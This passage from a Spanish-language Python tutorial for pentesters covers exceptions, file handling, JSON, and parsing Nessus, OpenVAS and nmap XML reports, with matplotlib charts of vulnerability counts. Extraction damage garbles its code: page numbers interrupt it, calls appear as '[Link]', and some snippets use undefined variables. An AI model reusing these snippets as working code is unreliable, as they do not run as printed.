print('Error al dividir por Cero')
except:
print('Ups... Ocurrió un error desconocido.')
Como se puede apreciar en el resultado… cuando hacemos debug de nuestros software, es necesario
probar los errores por pantalla para entender con precisión qué está fallando… y así poder tomar acciones
cuando corresponda. En ciberseguridad esto es especialmente importante, porque los errores no siempre
son obvios… y a veces un simple detalle cambia todo el comportamiento del script.
Ahora veamos un ejercicio más cercano al hacking: vamos a intentar leer un archivo que no existe desde
nuestro script para provocar un error inesperado. Además, usaremos un bloque nuevo llamado finally, cuya
tarea es siempre ejecutar su contenido al finalizar el bloque, sin importar si hubo error o no.
Ejemplo:
In [227]:
f = None
try:
f = open('configuration_server.yml') # abrimos el archivo que no existe
print([Link]()) # intentamos leerlo y mostrarlo por pantalla
except Exception as e:
print("Ocurrió un error inesperado:", e) # mensaje en caso de error
finally:
if f is not None:
[Link]() # siempre se debe cerrar el puntero cuando se abre un archivo
90
Manejo de Archivos en Python
Python nos entrega, de manera predeterminada, todas las funciones y métodos necesarios para manipular
archivos. Y esto es una ventaja enorme si pensamos que, en Linux y Unix, todo es un archivo: carpetas,
dispositivos, puertos, configuraciones… todo termina siendo un descriptor más dentro del sistema.
En pentesting esto es aún más crítico. Leer logs, escribir reportes, extraer información, revisar
configuraciones… manejar archivos es parte del día a día. Si dominamos esta parte, es casi seguro que en
algún momento nos va a salvar la vida en un análisis o una auditoría.
Función open()
Antes de leer o escribir en un archivo, debemos abrirlo usando la función open(). Esta función crea un objeto
file, que luego utilizamos para llamar a distintos métodos asociados a él.
Sintaxis
● Nombre_archivo: Es una cadena que contiene el nombre del archivo al que queremos acceder.
● Modo_apertura: Indica en qué modo se abrirá el archivo: lectura, escritura, añadir, etc. Es un
parámetro opcional… y si no especificamos nada, Python abre el archivo en modo lectura (r) por
defecto.
● Búfer: Determina el tamaño del buffer que se utilizará. No siempre es necesario modificarlo, pero es
parte de los argumentos disponibles.
91
● a+ = Abre un archivo tanto para anexar y lectura. El puntero del archivo se encuentra al final. El
archivo se abre en la modalidad de apertura. Si no existe el archivo, se crea un nuevo archivo para la
lectura y la escritura.
● ab+ = Abre un archivo tanto para anexar y la lectura en formato binario. El puntero del archivo se
encuentra al final del archivo .El archivo se abre en la modalidad de apertura. Si no existe el archivo,
se crea un nuevo archivo para la lectura y la escritura.
Una vez que se abre un archivo, se puede obtener diversa información relacionada con ese archivo.. aquí
está una lista de algunos atributos relacionados con el objeto File:
● [Link] = Devuelve true si el archivo está cerrado, falso en caso de que este abierto.
● [Link] = Devuelve el modo de acceso con el que se abrió el objeto.
● [Link] = Devuelve el nombre del archivo.
Ejemplo:
In [228]:
archivo = open("[Link]" , "wb") # Creamos el archivo si no existe.
In [229]:
# !ls # para linux
!dir
Directorio de C:\Users\starh\OneDrive\Desktop
92
15-11-2025 11:53 1.715.833 WhatsApp Video 2025-11-15 at 11.52.40 AM.mp4
18-11-2025 22:36 6.534.387 [Link]
13 archivos 27.331.652 bytes
5 dirs [Link] bytes libres
In [230]:
print("[-] Nombre Archivo : "+ [Link])
print("[-] Modo de Apertura : "+ [Link])
print("[-] Está cerrado ? : "+ str([Link]))
El método close()
El método close elimina cualquier información escrita en memoria y cierra el objeto File. Por otra parte, un
archivo se cierra automáticamente cuando el objeto de referencia de un archivo es reasignado a otro archivo.
Es una buena práctica utilizar el método close() para cerrar un archivo.
In [231]:
archivo = open("[Link]" , "wb") # Creamos el archivo si no existe.
print("[-] Nombre Archivo : "+ [Link])
print("[-] Modo de Apertura : "+ [Link])
print("[-] Está cerrado ? : "+ str([Link]))
[Link]() # cerramos el archivo
print("[-] Está cerrado ? : "+ str([Link]))
Se puede apreciar en el código fuente como que después de ejecutar el método close, se cierra el puntero
que estaba sobre el archivo. Se puede apreciar en el código fuente que, después de ejecutar el método
close, se cierra el puntero que estaba sobre el archivo. Esto es importante, porque mientras el puntero esté
abierto, el archivo sigue en uso… y recién después de cerrarlo Python libera ese recurso.
El objeto file nos entrega un conjunto de métodos que facilitan mucho el trabajo con archivos. En los
siguientes ejemplos vamos a usar los métodos read() y write()… que son los más comunes cuando estamos
manipulando datos.
Método write()
93
El método write() escribe una cadena dentro de un archivo abierto. Y aquí hay un detalle importante: en
Python, una cadena puede incluir texto o datos binarios, por lo que este método no está limitado a contenido
“legible”.
Otro punto clave es qué write() no agrega saltos de línea (\n) automáticamente. Si queremos que cada
registro quede ordenado o separado, debemos incluir \n manualmente dentro del código.
Ejemplo:
In [232]:
host_ = open("[Link]" , "w+")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.write("[Link]\n")
host_.close()
Método read()
El método de read () lee una cadena de un archivo abierto. Es importante tener en cuenta que las cadenas
en Python pueden tener datos binarios. Además de los datos de texto.
Ejemplo:
In [233]:
host_ = open("[Link]" , "r")
contenido = host_.read() # Con el método read leemos todo el documento
print(contenido)
host_.close()
[Link]
[Link]
[Link]
[Link]
Ahora… si nos imaginamos que necesitamos escanear distintos sitios web… una forma práctica de hacerlo
es guardar todos nuestros objetivos en un archivo de texto. Ese archivo se convierte en el input de nuestro
programa… y el ejemplo anterior nos sirve justamente como base para leerlo línea por línea.
La idea es simple, el script toma cada dirección desde el archivo… la procesa… y ejecuta el escaneo
correspondiente.
Hagamos un ejemplo….
94
In [234]:
host_ = open("[Link]" , "r")
contenido = host_.readlines() # con este método leemos linea por linea, su retorno es
una lista
for linea in contenido:
print("[+] Escaneando el Objetivo : " + linea )
host_.close()
Desde Python versión 2.5 en adelante, se creó una nueva forma de abrir archivos donde nos permite
aperturar un archivo y al dejar su uso cerrarlo automáticamente, esto significa nos existe una forma más fácil
de leer archivos con la palabra reservada with.
Ejemplo:
In [235]:
with open("[Link]" , "r") as archivo:
print([Link]() )
[Link]
[Link]
[Link]
[Link]
In [236]:
with open("[Link]" , "r") as f:
for line in f:
print("[+] Escaneando el Objetivo : " + line )
Otro ejemplo útil para practicar el manejo de archivos es crear un documento HTML, guardarlo… y luego
mostrarlo por pantalla. Muchas herramientas de pentesting generan reportes en este formato, así que es una
buena habilidad para tener a mano.
95
Ejemplo:
In [111]:
f = open('[Link]','w')
mensaje = """
<html>
<head></head>
<body>
<h2>StarHacks</h2>
</body>
</html>"""
[Link](mensaje)
[Link]()
Ahora, para desplegarlo por la misma consola y aprovechado Colab como herramienta, les cuento que existe
la forma de reproducir código HTML desde esta interfaz y es de la siguiente manera:
In [112]:
# librería que tiene el método display que permite renderizar html directamente en la
hoja
import IPython
[Link](filename='[Link]')
Out[112]:
StarHacks
Manejo de JSON
JSON (JavaScript Object Notation) es un formato de texto ligero para el intercambio de datos. Nació como un
subconjunto de la notación literal de objetos de JavaScript, pero con el tiempo se volvió tan usado, tan
transversal, que hoy se considera un formato independiente del lenguaje.
Es uno de los formatos más comunes en la industria: aparece en APIs, bases de datos, reportes, archivos de
configuración, herramientas de automatización, paneles de monitoreo… prácticamente en todas partes. Su
popularidad tiene sentido, es rápido, simple… y mucho más liviano que XML, porque evita ese mar de
etiquetas que terminaba haciendo los archivos enormes.
Al principio trabajar con JSON puede sentirse un poco enredado… sobre todo si uno viene del mundo más
estructurado. Pero con unas cuantas prácticas, la cosa fluye… y uno entiende por qué es el formato favorito
para transmitir datos en aplicaciones modernas.
96
In [239]:
import json # El primer paso es importar la librería.
Este es un ejemplo súper simple y resumido… el mismo que aparece en la mayoría de los libros cuando se
explica el uso del formato JSON. Es una buena forma de familiarizarse con su estructura antes de pasar a
casos más complejos que sí veremos después.
In [240]:
import json
[Link]
8
internal
La forma de trabajar con JSON parece muy simple… o al menos eso nos podría hacer pensar el ejercicio
anterior. Y claro, con un par de ejemplos básicos todo se ve ordenado, limpio… casi demasiado fácil. Pero en
la práctica, este tipo de formatos puede volverse enredado rápidamente con anidaciones dentro de
anidaciones, listas mezcladas con diccionarios, claves repetidas, estructuras profundas… y uno termina
cuestionándose si el formato está mal… o si la vida misma lo está.
Por eso prefiero pasar ahora a un ejemplo más representativo, con una complejidad básica–media. Algo que
nos permita tener una base real para futuros proyectos… y que también justifique dedicarle las horas
necesarias para practicar el parseo sin miedo.
La idea es aprender a navegar estos datos como corresponde… y no solo resolver los casos bonitos que
aparecen en la primera página de los manuales.
97
Este sería el tipo de escenario real donde trabajar con JSON deja de ser, lo básico del manual… y empieza a
tomar forma dentro de un flujo más complejo.
In [241]:
response ="""{
"code": 200,
"status": "OK",
"result": {
"a": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"b": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"patch": [
{}
]
}
}"""
Si miramos el formato JSON que entrega la API, intuitivamente nos damos cuenta de que la información está
organizada como un objeto con jerarquías. Cada atributo tiene un nombre representativo… y dentro de ese
atributo puede venir más información, como si fuera un pequeño contenedor que depende de un “padre”. En
el fondo, el mismo formato JSON es una representación humana de cómo organizar datos: los { } marcan
dónde empieza y termina cada bloque del mensaje… y el orden de llaves, claves y valores le da sentido
lógico al contenido.
Otra forma, mucho más simple de verlo, es pensar en un JSON como un diccionario clave–valor. La clave es
el nombre del atributo… y el valor es la información que queremos obtener. Nada más directo que eso.
Honestamente, desconozco en qué se inspiraron para definir este formato… igual que con XML, YAML u
otros. Solo puedo especular que alguien, en algún punto, buscó una forma de organizar datos que fuera
liviana, simple, legible y fácil de parsear. Y la verdad… lo lograron. JSON es compacto, claro… y si uno
elimina la indentación, puede ser sorprendentemente pequeño.
Siguiendo con el ejemplo anterior, si imprimimos directamente la respuesta del servidor, se vería más o
menos así….
In [242]:
print(response)
{
"code": 200,
"status": "OK",
"result": {
98
"a": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"b": {
"ip": "[Link]",
"last_updated_at": "2023-08-09T07:52:54.881Z"
},
"patch": [
{}
]
}
}
Ahora que tenemos la impresión del resultado por pantalla, nos damos cuenta de que se accede a todos los
datos al mismo tiempo o a ninguno. Para poder trabajar directamente en cada uno de ellos, es necesario
pasarlo a formato JSON y dejar de trabajar con los datos en crudo.
Ejemplo:
In [243]:
type(response)
Out[243]:
str
Cuando recibimos un JSOn en formato string, lo que necesitamos hacer es hacer la conversión con la
función [Link](candena_de_texto) y nos devolverá un diccionario:
In [244]:
r = [Link](response)
Comprobamos su resultado:
In [245]:
type(r)
Out[245]:
dict
El Objeto, al ser transformado en Diccionario.... se puede acceder a él mediante la forma llave valor, por
ejemplo, tomemos el primer valor del objeto llamado code:
In [246]:
r['code']
Out[246]:
99
200
In [247]:
print(" - > El Código HTTP es : " + str(r['code'] ) )
print(" - > El Status : " + r['status'])
print(" - > El Resultado es : " + str( r['result'])) # este resultado contiene más
resultados
Al darnos cuenta de que el resultado r['result'] tiene más resultados dentro, los debemos trabajar en
orden, primero... vemos cuantas filas tiene adentro suyo.
In [248]:
len(r['result'])
Out[248]:
3
Por lógica, si tiene 3 elementos dentro suyo, la forma más apropiada de listarlos es con un bucle:
In [249]:
for x in r['result']:
print(x)
a
b
patch
Al saber que me lista los nombres de las llaves, las podemos usar para acceder a sus valores de la siguiente
forma:
In [250]:
for llave in r['result']:
print(r['result'][llave])
Ahora que llegamos al último nivel, solo nos queda acceder a sus valores directamente de la siguiente forma:
100
In [251]:
for llave in r['result']:
if len(r['result'][llave])>1: # imprime sólo lo que tiene ip y fecha
print("IP : " + r['result'][llave]["ip"])
print("Date Update : " + r['result'][llave]["last_updated_at"])
print("-"*60)
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
In [252]:
print(" - > El Código HTTP es : " + str(r['code'] ) )
print(" - > El Status : " + r['status'])
print(" - > El Resultado es : \n ")
for llave in r['result']:
if len(r['result'][llave])>1: # imprime sólo lo que tiene ip y fecha
print("IP : " + r['result'][llave]["ip"])
print("Date Update : " + r['result'][llave]["last_updated_at"])
print("-"*60)
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
IP : [Link]
Date Update : 2023-08-09T07:52:54.881Z
------------------------------------------------------------
Si es tu primera vez leyendo un JSON, es muy probable que estos pasos te hayan parecido un poco
complicados… o incluso estés pensando que cada vez que te topes con algo así será un problema. Y es
totalmente normal. A todos nos pasa la primera vez.
Pero basándome en mi experiencia enseñando esto… puedo asegurarte que es 100% práctica. Una vez que
entiendes la lógica y repites el proceso algunas veces, el parseo de JSON empieza a fluir solo… casi
automático. Entre más lo practiques… más natural se vuelve.
Al final, interpretar JSON es como leer un mapa que al principio parece lleno de caminos… y luego notas que
todo tiene una estructura bastante lógica.
101
Manejo de XML
Un documento XML se compone de entidades físicas que encierran datos… mientras que su estructura
lógica se arma con declaraciones, elementos, comentarios, referencias a caracteres y más. Cada parte está
marcada explícitamente, lo que le da forma y sentido al documento. La combinación de estas dos
dimensiones, lo físico y lo lógico, es lo que convierte a XML en un estándar flexible y bastante poderoso para
representar datos estructurados.
Para entenderlo mejor, imaginemos que tenemos que interpretar un XML que contiene configuraciones de
seguridad y estas configuraciones, están organizadas en una jerarquía en forma de árbol. Cada nodo
representa una sección distinta como políticas, reglas, parámetros, permisos… y cada uno puede tener
elementos hijos que profundizan aún más la información.
Es como abrir un archivo y ver un árbol de decisiones muy ordenado… donde cada rama te lleva a un nivel
de detalle diferente. A simple vista puede intimidar un poco, pero una vez que entendemos la estructura, leer
un XML se vuelve tan natural como revisar un diccionario bien organizado.
<SecurityConfiguration>
<Firewall>
<Status>Enabled</Status>
<Rules>
<Rule>
<Name>Allow HTTP Traffic</Name>
<Port>80</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Allow SSH Traffic</Name>
<Port>22</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Block RDP Traffic</Name>
<Port>3389</Port>
<Protocol>TCP</Protocol>
<Action>Block</Action>
</Rule>
</Rules>
</Firewall>
<Antivirus>
<Status>Enabled</Status>
<DefinitionVersion>2023.10.1</DefinitionVersion>
<LastScanDate>2023-10-15</LastScanDate>
</Antivirus>
102
<IntrusionDetection>
<Status>Disabled</Status>
</IntrusionDetection>
<UserAccessControl>
<Status>Enabled</Status>
<AdministratorAccounts>
<Account>
<Username>admin</Username>
<LastLogin>2023-10-10</LastLogin>
</Account>
</AdministratorAccounts>
</UserAccessControl>
</SecurityConfiguration>
Si quisiéramos leer este archivo, primero tenemos que transformarlo a un string para poder trabajarlo desde
Jupyter. Python necesita recibir el contenido como texto para luego interpretarlo, recorrerlo y extraer cada
parte del XML.
En el fondo… es como decirle a Jupyter, lee esto tal cual, como un bloque de texto… y después nos
encargamos de entenderlo.
In [253]:
xmlfile = """
<SecurityConfiguration>
<Firewall>
<Status>Enabled</Status>
<Rules>
<Rule>
<Name>Allow HTTP Traffic</Name>
<Port>80</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Allow SSH Traffic</Name>
<Port>22</Port>
<Protocol>TCP</Protocol>
</Rule>
<Rule>
<Name>Block RDP Traffic</Name>
<Port>3389</Port>
<Protocol>TCP</Protocol>
<Action>Block</Action>
</Rule>
</Rules>
</Firewall>
<Antivirus>
103
<Status>Enabled</Status>
<DefinitionVersion>2023.10.1</DefinitionVersion>
<LastScanDate>2023-10-15</LastScanDate>
</Antivirus>
<IntrusionDetection>
<Status>Disabled</Status>
</IntrusionDetection>
<UserAccessControl>
<Status>Enabled</Status>
<AdministratorAccounts>
<Account>
<Username>admin</Username>
<LastLogin>2023-10-10</LastLogin>
</Account>
</AdministratorAccounts>
</UserAccessControl>
</SecurityConfiguration>
"""
xmlfile contiene las reglas y configuraciones… y podemos leerlo desde Python de la siguiente manera:
Instalación de librería para leer XML.
In [254]:
!pip install lxml
In [255]:
import [Link] as ET
tree = [Link]("[Link]")
root = [Link]()
Pero en nuestro caso lo estamos tomando desde un string, así que necesitaremos usar otro método para
procesarlo correctamente desde Python.
In [256]:
root = [Link](xmlfile)
104
Ahora, si por ejemplo quisiéramos leer las configuraciones de este dispositivo de seguridad seria de la
siguiente forma:
In [257]:
firewall_status = [Link]('.//Firewall/Status').text
print(f"Estado del Firewall: {firewall_status}")
Como se muestra en la función find(), podemos acceder usando rutas en forma de / para movernos desde el
árbol principal hacia sus distintas ramificaciones. Es una manera intuitiva de navegar por el XML: vamos
bajando nivel por nivel… igual que recorriendo carpetas dentro de un directorio.
Para seguir leyendo las demás ramas, usaremos nuevamente la función find(). Pero esta vez, como dentro
de una misma base pueden existir varias ramas, necesitaremos un bucle para recorrerlas todas una por una.
Así podemos procesar cada configuración de manera individual, sin asumir cuántos elementos hay realmente
dentro del XML.
Y esto es clave, en muchos casos no sabemos cuántos nodos tiene una rama del árbol, por lo que usar
ciclos nos permite leer todo de manera segura y flexible… sin quedar atrapados en suposiciones que no
siempre se cumplen.
In [258]:
firewall_rules = [Link]('.//Firewall/Rules/Rule')
print("Reglas del Firewall:")
for rule in firewall_rules:
rule_name = [Link]('Name').text
rule_port = [Link]('Port').text
rule_protocol = [Link]('Protocol').text
rule_action = [Link]('Action').text if [Link]('Action') is not None else
"Permit"
print(f" Nombre: {rule_name}")
print(f" Puerto: {rule_port}")
print(f" Protocolo: {rule_protocol}")
print(f" Acción: {rule_action}")
print()
105
Nombre: Block RDP Traffic
Puerto: 3389
Protocolo: TCP
Acción: Block
In [259]:
antivirus_status = [Link]('.//Antivirus/Status').text
definition_version = [Link]('.//Antivirus/DefinitionVersion').text
last_scan_date = [Link]('.//Antivirus/LastScanDate').text
print(f"Estado del Antivirus: {antivirus_status}")
print(f"Versión de Definiciones: {definition_version}")
print(f"Última Fecha de Escaneo: {last_scan_date}")
In [260]:
intrusion_detection_status = [Link]('.//IntrusionDetection/Status').text
print(f"Estado de Detección de Intrusiones: {intrusion_detection_status}")
uac_status = [Link]('.//UserAccessControl/Status').text
print(f"Estado del Control de Acceso de Usuarios: {uac_status}")
administrator_accounts =
[Link]('.//UserAccessControl/AdministratorAccounts/Account')
print("Cuentas de Administrador:")
for account in administrator_accounts:
username = [Link]('Username').text
last_login = [Link]('LastLogin').text
print(f" Nombre de Usuario: {username}")
print(f" Último Inicio de Sesión: {last_login}")
Como se puede ver en el ejercicio anterior… la clave para interpretar un XML está en entender su estructura
de árbol. Primero navegamos por las ramas principales… y luego, dentro de cada una, vamos accediendo a
sus elementos internos.
106
Si durante la interpretación nos damos cuenta de que una rama está poblada con más campos… y que
además puede ser dinámica, es decir, la cantidad de datos cambia según los resultados, entonces... tenemos
que pensar inmediatamente en usar un ciclo for para iterar dato por dato.
Esa es la forma segura de recorrer un XML cuando no sabemos cuántos elementos vienen dentro de una
misma sección. El for nos permite leerlos todos, sin asumir nada… y sin dejar información afuera.
Veamos ahora un ejemplo de Nessus con un formato similar al ejercicio anterior… pero con ramificaciones
un poco distintas. Esto nos permitirá practicar cómo navegar un XML real de seguridad, donde la estructura
puede variar según el tipo de hallazgos y configuraciones que reporte la herramienta.
<NessusVulnerabilityReport>
<ScanDate>2023-10-20</ScanDate>
<ScanTime>15:30:00</ScanTime>
<ReportTitle>Informe de Vulnerabilidades - Escaneo de Red</ReportTitle>
<ReportAuthor>Equipo de Seguridad</ReportAuthor>
<Host>
<IPAddress>[Link]</IPAddress>
<HostName>[Link]</HostName>
<OperatingSystem>Windows Server 2019</OperatingSystem>
<Vulnerability>
<ID>1</ID>
<Name>CVE-2023-12345</Name>
<Description>Vulnerabilidad crítica en el servidor web Apache
2.4.35.</Description>
<Severity>Critica</Severity>
<Recommendation>Aplicar el parche de seguridad proporcionado por el
fabricante.</Recommendation>
</Vulnerability>
<Vulnerability>
<ID>2</ID>
<Name>CVE-2023-67890</Name>
<Description>Vulnerabilidad en el servicio SSH que permite intentos de
inicio de sesión.</Description>
<Severity>Media</Severity>
<Recommendation>Fortalecer la configuración de SSH y limitar intentos de
inicio de sesión.</Recommendation>
</Vulnerability>
</Host>
</NessusVulnerabilityReport>
Para leer este XML usaremos, convenientemente, la misma forma de parseo del ejercicio anterior… solo que
esta vez las respuestas serán distintas, porque la estructura y los datos que entrega Nessus cambian según
el tipo de hallazgo.
107
In [261]:
XMLNessus = """
<NessusVulnerabilityReport>
<ScanDate>2023-10-20</ScanDate>
<ScanTime>15:30:00</ScanTime>
<ReportTitle>Informe de Vulnerabilidades - Escaneo de Red</ReportTitle>
<ReportAuthor>Equipo de Seguridad</ReportAuthor>
<Host>
<IPAddress>[Link]</IPAddress>
<HostName>[Link]</HostName>
<OperatingSystem>Windows Server 2019</OperatingSystem>
<Vulnerability>
<ID>1</ID>
<Name>CVE-2023-12345</Name>
<Description>Vulnerabilidad crítica en el servidor web Apache
2.4.35.</Description>
<Severity>Critica</Severity>
<Recommendation>Aplicar el parche de seguridad proporcionado por el
fabricante.</Recommendation>
</Vulnerability>
<Vulnerability>
<ID>2</ID>
<Name>CVE-2023-67890</Name>
<Description>Vulnerabilidad en el servicio SSH que permite intentos de inicio de
sesión.</Description>
<Severity>Media</Severity>
<Recommendation>Fortalecer la configuración de SSH y limitar intentos de inicio
de sesión.</Recommendation>
</Vulnerability>
</Host>
</NessusVulnerabilityReport>
"""
In [262]:
import [Link] as ET
root = [Link](XMLNessus)
Leemos la primera parte del documento entendiendo que esta tiene 2 niveles en su orden, el primero para
los hosts escaneados y el segundo para agrupar las vulnerabilidades:
In [263]:
for host in [Link]('Host'):
ip_address = [Link]('IPAddress').text
108
host_name = [Link]('HostName').text
operating_system = [Link]('OperatingSystem').text
vulnerabilities = [Link]('Vulnerability')
for vulnerability in vulnerabilities:
vulnerability_id = [Link]('ID').text
name = [Link]('Name').text
description = [Link]('Description').text
severity = [Link]('Severity').text
recommendation = [Link]('Recommendation').text
Ahora… para hacer más real el ejercicio, me puse a buscar en internet algún archivo de reporte Nessus en
formato XML… y encontré el siguiente. Este archivo nos va a servir para practicar un caso más cercano a lo
que veríamos en un análisis de vulnerabilidades real.
XML Nessus
In [264]:
# para linux
# !wget
[Link]
port/[Link]
# para windows
109
!curl -L -o [Link]
[Link]
rt/[Link]
Descargamos el archivo localmente en Jupyter para comprobar que el parser funciona correctamente.
In [265]:
import [Link] as ET
tree = [Link]('[Link]')
root = [Link]()
Usamos el método parse() que recibe como entrada un archivo que contenga XML y el método
[Link]() que se utiliza para obtener el nodo raíz de un árbol XML.
In [266]:
# Iterar a través de los elementos del informe
for report in [Link]('Report'):
for host in [Link]('ReportHost'):
host_name = [Link]('name')
print(f"Host: {host_name}")
Host: [Link]
Port: 0
Plugin ID: 19506
Severity: None
Description: This script displays, for each tested host, information
about the scan itself : - The version of the plugin set - The type
110
of plugin feed (HomeFeed or ProfessionalFeed) - The version of the
Nessus Engine - The port scanner(s) used - The port range scanned -
Whether credentialed or third-party patch management checks are
possible - The date of the scan - The duration of the scan - The
number of hosts scanned in parallel - The number of checks done in
parallel
Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 45590
Severity: None
Description: By using information obtained from a Nessus scan, this
plugin reports CPE (Common Platform Enumeration) matches for
various hardware and software products found on a host. Note that
if an official CPE is not available for the product, this plugin
computes the best possible CPE based on the information available
from the scan.
Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 54615
Severity: None
Description: Based on the remote operating system, it is possible to
determine what the remote system type is (eg: a printer, router,
general-purpose computer, etc).
Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 11936
Severity: None
Description: Using a combination of remote probes, (TCP/IP, SMB,
HTTP, NTP, SNMP, etc...) it is possible to guess the name of the
remote operating system in use, and sometimes its version.
Solution: n/a
CVE: N/A
Port: 0
Plugin ID: 35716
Severity: None
Description: Each ethernet MAC address starts with a 24-bit
'Organizationally Unique Identifier'.These OUI are
registered by IEEE.
.
.
.
.
111
Al repetir el procedimiento anterior, comprobamos que el script funciona correctamente con un archivo real
de Nessus, desplegando las vulnerabilidades del reporte tal como esperábamos. Esto ya nos da una base
sólida para procesar XML más complejos y aplicarlos en un análisis de seguridad real.
Ahora… para darle un poco más de profesionalismo al resultado, vamos a graficar las vulnerabilidades
usando la librería matplotlib. Esto nos permitirá visualizar de manera rápida cuántos hallazgos hay por
categoría o por nivel de severidad… algo muy útil cuando queremos presentar resultados o preparar un
informe más ordenado.
In [267]:
import [Link] as plt
In [268]:
vulnerability_counts = {
'Critical': 0,
'High': 0,
'Medium': 0,
'Low': 0
}
Recorrimos el arreglo para guardar los datos en el diccionario que definimos como
vulnerability_counts.
In [269]:
for report in [Link]('Report'):
for host in [Link]('ReportHost'):
for item in [Link]('ReportItem'):
risk_factor = [Link]('risk_factor').text
if risk_factor != 'None':
vulnerability_counts[risk_factor] += 1
Interamos en 3 niveles y nos aseguramos de no contar las variables que no contengan un risk_factor.
Finalmente, procedemos graficar los dos ejes separando las llaves de los valores.
In [270]:
criticities = list(vulnerability_counts.keys())
counts = list(vulnerability_counts.values())
Elegimos que el gráfico contenga la figura tendrá un tamaño de 6 pulgadas de ancho por 6 pulgadas de alto
([Link](figsize=(6, 6))).
112
Luego, se ejecuta bars = [Link](criticities, counts, color='royalblue') que toma dos
listas como entrada: criticities (que generalmente contendrá las etiquetas de las barras) y counts (que
contiene la altura de las barras, es decir, la cantidad de vulnerabilidades para cada categoría de criticidad). El
parámetro color se utiliza para definir el color de las barras.
Posteriormente, agregamos una etiqueta en el eje horizontal (eje X) del gráfico con
[Link]('Criticidad'), incluimos también en el eje Y una etiqueta con [Link]('Cantidad
de Vulnerabilidades') y finalmente el título con [Link]('Conteo de Vulnerabilidades')
In [271]:
[Link](figsize=(6, 6))
bars = [Link](criticities, counts, color='royalblue')
[Link]('Criticidad')
[Link]('Cantidad de Vulnerabilidades')
[Link]('Conteo de Vulnerabilidades')
Out[271]:
Text(0.5, 1.0, 'Conteo de Vulnerabilidades')
Podemos agregar un gráfico de torta para complementar el resultado anterior con una distribución con base
en la criticidad de las vulnerabilidades.
In [272]:
criticities = list(vulnerability_counts.keys())
counts = list(vulnerability_counts.values())
[Link](figsize=(6, 6))
[Link](counts, labels=criticities, startangle=160, wedgeprops={'edgecolor': 'white'},
textprops={'fontsize': 10})
[Link]('equal')
[Link]('Distribución de Vulnerabilidades')
[Link]()
113
Siguiendo la misma línea del ejercicio anterior… me dispongo a dar un último ejemplo de manejo de XML,
esta vez parseando un archivo generado por OpenVAS. Como muchos saben, esta herramienta es bastante
utilizada en el mundo de la ciberseguridad… y es común encontrarse con reportes suyos en distintos
equipos, auditorías y análisis dentro de la industria.
Es un buen cierre para este módulo, porque nos permite ver cómo aplicar exactamente las mismas técnicas
de parseo a un formato distinto… pero con una estructura realista y típicamente usada en escenarios de
seguridad.
XML OpenVAS
Descargamos un archivo en internet:
In [273]:
#para linux
#!wget
[Link]
#para windows
114
!curl -L -o [Link]
[Link]
In [274]:
import [Link] as ET
Obtenemos los resultados de OpenVas y leemos el archivo que nos descargamos anteriormente.
In [275]:
tree = [Link]('[Link]')
root = [Link]()
Iteramos los elementos del informe a través de su forma de árbol, como se puede apreciar en el siguiente
código, es muy parecido al reporte de nessus, pero se diferencia, en su facilidad para encontrar los datos, ya
que tiene una iteración de ciclo for y posteriormente se valida que en la búsqueda no se obtenga un
resultado vacío para que el script se ejecute correctamente.
In [276]:
for report in [Link]('.//result'):
name_element = [Link]('.//name')
port_element = [Link]('.//port')
severity_element = [Link]('.//severity')
print(f"Name: {name}")
print(f"Port: {port}")
115
print(f"Severity: {severity}")
116
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: phpMyAdmin Unspecified SQL Injection and Cross Site Scripting Vulnerabilities
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: Tiki Wiki CMS Groupware < 4.2 Multiple Unspecified Vulnerabilities
Port: 80/tcp
Severity: 7.5
Name: product
Port: No disponible
Severity: No disponible
Name: PHP-CGI-based setups vulnerability when parsing query string parameters from php
files.
Port: 80/tcp
Severity: 7.5
Name: Test HTTP dangerous methods
Port: 80/tcp
Severity: 7.5
Name: phpinfo() output accessible
Port: 80/tcp
Severity: 7.5
Name: Multiple Vendors STARTTLS Implementation Plaintext Arbitrary Command Injection
Vulnerability
Port: 25/tcp
Severity: 6.8
.
.
Pandas
Me gustaría partir este ítem siguiendo la línea del módulo anterior… para darle continuidad al ritmo del
libro… pero ahora usando la librería pandas. Esta herramienta es una de las más poderosas en Python
cuando se trata de manejar datos: tablas, reportes, estructuras complejas… todo se vuelve mucho más fácil
de procesar.
La idea es empezar con algo simple… entender cómo cargar datos, cómo leerlos, cómo filtrarlos… y luego
avanzar hacia unos mini ejercicios que nos permitan ver, en la práctica, para qué sirve realmente pandas. Y
créeme… en ciberseguridad termina siendo más útil de lo que uno cree, desde analizar logs… hasta
procesar archivos Nessus, Censys, OpenVAS, o cualquier salida masiva de datos.
Vamos paso a paso… para que la herramienta no se sienta intimidante… y podamos empezar a sacarle
provecho desde el primer ejemplo.
117
Imaginemos que tenemos este código del resultado de un nmap, del escaneo a una red cualquiera.
<?xml version="1.0"?>
<!DOCTYPE nmaprun>
<nmaprun>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="22">
<state state="open"/>
<service name="ssh" product="OpenSSH" version="7.2p2" extrainfo="Ubuntu
Linux; protocol 2.0"/>
</port>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Apache" version="2.4.18"/>
</port>
</ports>
</host>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="80">
<state state="open"/>
<service name="http" product="Nginx" version="1.18.0"/>
</port>
</ports>
</host>
</nmaprun>
In [277]:
nmap_result = """<?xml version="1.0"?>
<!DOCTYPE nmaprun>
<nmaprun>
<host>
<address addr="[Link]" addrtype="ipv4"/>
<ports>
<port protocol="tcp" portid="22">
<state state="open"/>
